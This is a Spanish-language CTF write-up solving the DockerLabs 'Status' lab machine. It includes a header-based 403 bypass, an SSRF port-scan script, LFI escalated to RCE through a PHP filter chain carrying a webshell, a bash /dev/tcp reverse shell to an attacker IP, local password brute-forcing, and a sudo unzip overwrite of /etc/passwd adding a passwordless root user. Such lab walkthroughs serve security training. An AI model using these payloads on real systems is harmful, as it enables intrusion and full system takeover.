Post

Status, DockerLabs

portada

Maquina Status de DockerLabs clasificada como media , despues de hacerla decir que esta bien esta maquina , tiene de todo un poco , bypass 403 , escaneo interno de puertos , lfi , lfi2rce, wrappers php que desconocia y un final sencillo con unzip y sudo

Herramientas y recursos

Tecnicas Herramientas objetivo
scan de puertos nmap Descubrimiento de servicios expuestos
Fuzzing Web feroxbuster Enumeración de directorios y archivos ocultos (assets/status.php).
Manipulación de Cabeceras Caido / Burp Suite Bypass de restricción 403 mediante la cabecera Statusid.
SSRF (Internal Port Scan) Bash Script + curl Descubrimiento de servicios internos no expuestos (Puerto 3222).
Análisis de Código unzip / cat Inspección de archivos fuente tras extraer el backup encontrado.
LFI (Local File Inclusion) PHP Filters Lectura de archivos sensibles y código fuente del servidor.
LFI to RCE php_filter_chain_generator Ejecución remota de comandos mediante cadenas de filtros PHP.
Fuerza Bruta Local MArio Script + RockYou Obtención de credenciales del usuario baluton.
Privilege Escalation sudo unzip Sobrescritura de /etc/passwd para obtener acceso como root.

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y en esta ocasion solo disponemos del 80

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX status

Reporte nmap

Visitamos la web y su codigo por si hay algo y no encontramos nada util o interesante , asi que le tiro con ferox haber si encuentra algo.

web

1
feroxbuster -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php -s 200,301,302,403,500 --dont-filter

Feroxbuster se puso en modo inteligente por asi decirlo y si no le aplicaba el –dont-filter por mas que le indicara que me muestre las redirecciones no me mostraba nada, os dejo dos imagines y ahi veis la diferencia. la primera la erronea y la segunda la que me muestra los resultados.

fererro

ferox

Despues de jugar con ferox hemos obtenido un fichero php asi que vamos a ver de que se trata aunque en principio no podemos llegar a el por la respuesta dada en feroxbuster.

status

Efectivamente algo nos bloque asi que abro el caido porque no se ven cookies ni sesiones ni nada en las devtools. Capturamos la peticion get de la status.php y vemos lo siguiente:

caido

Si nos fijamos hay una cabecera que llama la antencion Statusid: 0 , nos mandamos esa peticion al repeater y le añadimos esa cabecera pero cambiando el 0 por 1 y obtenemos un 200 ok asi que mando la peticion a ver en el navegador .

caido20

webstatus

Si tratamos de ejecutar algo en la entrada de url de status nos volvera a saltar el 403 dado que el navegador no le envia la cabecera del statusid asi que no queda otra que seguir con caido pero esta vez trabajaremos sobrew la peticion post que es la encargada de enviar los camandos al backend.

Si hacemos peticiones a ip siempre nos da 200 , si tratamos de inyectar algun comando despues de lo que creo ejecuta curl pueden ver en la imagen de abajo que salta Enter a valid url.

No inyeccion de comandos:

caidoid

No lectura de ficheros

caido.

La unica diferencia que veo es cuando se solicitan puertos.

caido81

caido

Si nos fijamos cuando hacemos bien la peticion con el statusid 1 y apuntamos a un puerto cambian la respuesta el outpu se queda vacio, por tanto podriamos usar eso para ver si podemos averiguar si hay mas puertos abiertos internamente en la maquina.

1
2
3
curl -s -X POST 'http://172.17.0.2:81' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -H 'Statusid: 1'

No obtenmos resultado pero si le cambiamos al puerto 80 si

1
2
3
curl -s -X POST 'http://172.17.0.2:80' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -H 'Statusid: 1'

response

Nos vamos a crear un script de bash que nos haga este trabajo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash

# Configuración
TARGET="http://172.17.0.2/status.php"
BASE_URL="http://127.0.0.1"
STATUS_ID="1"

# 1. Obtener la respuesta nula (puerto cerrado)
echo "[*] Calculando respuesta respuesta sin datos (puerto 1)..."
NODATA=$(curl -s -X POST "$TARGET" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "Statusid: $STATUS_ID" \
     --data-binary "url=$BASE_URL:1" | wc -c)

echo "[*] Tamaño base: $NODATA bytes"
echo "---------------------------------------"
echo "[+] Escaneando puertos..."

# 2. Bucle de escaneo (puedes ajustar el rango de puertos)
for port in {1..65535}; do
    # Realizamos la petición y contamos los caracteres de la respuesta
    CURRENT_SIZE=$(curl -s -X POST "$TARGET" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         -H "Statusid: $STATUS_ID" \
         --data-binary "url=$BASE_URL:$port" | wc -c)

    # 3. Comparación
    if [ "$CURRENT_SIZE" -ne "$NODATA" ]; then
        echo "[!] Puerto ABIERTO o DIFERENTE detectado: $port (Tamaño: $CURRENT_SIZE bytes)"
    fi
done

echo "---------------------------------------"
echo "[*] Escaneo finalizado."

Este script manda una peticion a cada puerto con curl y nos muestra solo las respuesta que el tamaño es distinto.

Tenemos suerte y nos encuentra un puerto nuevo que no se desde el exterior, asi que nos vamos a caido de nuevo para realizar una peticion a ese puerto a ver que pista nos han dejado.

openports

En Caido apuntamos al nuevo puerto.

caidoendpoint

Como vemos en la imagen superior hemos obtenido dos rutas backups y static si entramos backups veremos una ruta completa nueva con un zip asi que descargamos ese fichero zip para ver que contiene.

zip

1
curl -O http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/backups/backup_5025a3123660d066c9ba8617c0cd92d5.zip

Dentro de la carpetas hay varios ficheros un file.phpo y status.php parecen versiones de desarollo o antiguas , la cuestion es si esas rutas exiten dado que si miramos el file.php tendremos LFI.

file

Tenemos LFI y lo que es mejor dejamos de pasar por el status.php de raiz

1
curl -s -X GET "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=/etc/passwd"

lfi

LFI 2 RCE

Lo primero que se me ocurre es probar LOG POISONING con el cual no obtenbgo ningun resultado contra los ficheros comunes de apache2, la opcion dos es prueba de wrappers php.

Me voy a esta web y despues de varias pruebas daoy con una que me fucniona.php://filter.

1
curl -s -X GET "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=php://filter/convert.base64-encode/resource=status.php" | base64 -d

Con lo caul podemos leer incluso el codigo php, ahora vamos a realizar los pasos que inidcan en esa web para poder obtener un RCE.

explica

Para ello nos descargamos el script que nos genera la cadena para el filtro aqui. Yo sigo los pasos de la web.

1
python3 php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`;;?>'

Ese comando nos genera un churro con una conversion detras de otra , nos interesa desde php://filter hasta el final

filter

Ahora nos falta contruir la url completa y probar a ejecutar

1
curl http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?cmd=id&72e22dffd7fa10883a85aa3e0bbbd6d4=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp --output -

Si no ponemos el –output - no veremos salida en la terminal dado que no sabe como imprimir esos datos extra que arrastra. Ahora que ya tenemos RCE deberiamos mandarnos una revshell.Lo que le faltaba a ese churro mas comandos.

rce

Infiltracion y escalada

Revshell :

1
2
3
curl -v -G "http://172.17.0.2/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php" \
    --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/172.17.0.1/1188 0>&1'" \
    --data-urlencode "72e22dffd7fa10883a85aa3e0bbbd6d4=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

Obtenemos la revshell:

revshell

Mejoramos la tty para evitar perderla conexion :

1
2
3
4
5
6
7
8
9
script /dev/null -c bash
^ Z
stty stty raw -echo; fg
reset
terminal type ? xterm
export TERM=xterm
export SEHLL=bash
stty size
stty rows 37 columns 149

Despues de estar probando comandos find , revisando ficheros , cron , etc no encuentro nada asi que pruebo fuerza bruta local con el script de mario para ello me descargo su script y lo tranfiero junto con un rockyou a la victima.

1
2
3
4
5
python3 -m http.server 8888 en la atacante
wget ip:8888/fichero1
wget ip:8888/fichero2
chmod +x brute
./brute baluton rockyou.txt 

Por fin tenemos suerte

pass

Nos logueamos con baluton y es el primer paso facil de todad la maquina haciendo sudo -l encontramos unzip con sudo. Vamos a tratar de hacer lo mismo que el otro dia meter nuestro usuario en passwd , el otro probamos con mv y hoy con zip que me deja descomprimir donde yo quiera.

1
2
3
4
5
6
sudo -l
cp /etc/passwd .
echo 'pwned::0:0:root:/root:/bin/bash' >> passwd
tail -n 5 passwd
zip cambiazo.zip passwd
sudo -u root /usr/bin/unzip -o cambiazo.zip -d /etc/

root

Hasta aqui esta maquinota muy buena, toda la parte web estuvo bastante realista el modo de encadenar vulns una tras otra me encanto pese a que me perdio un para de veces.Un lujo la verdad.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.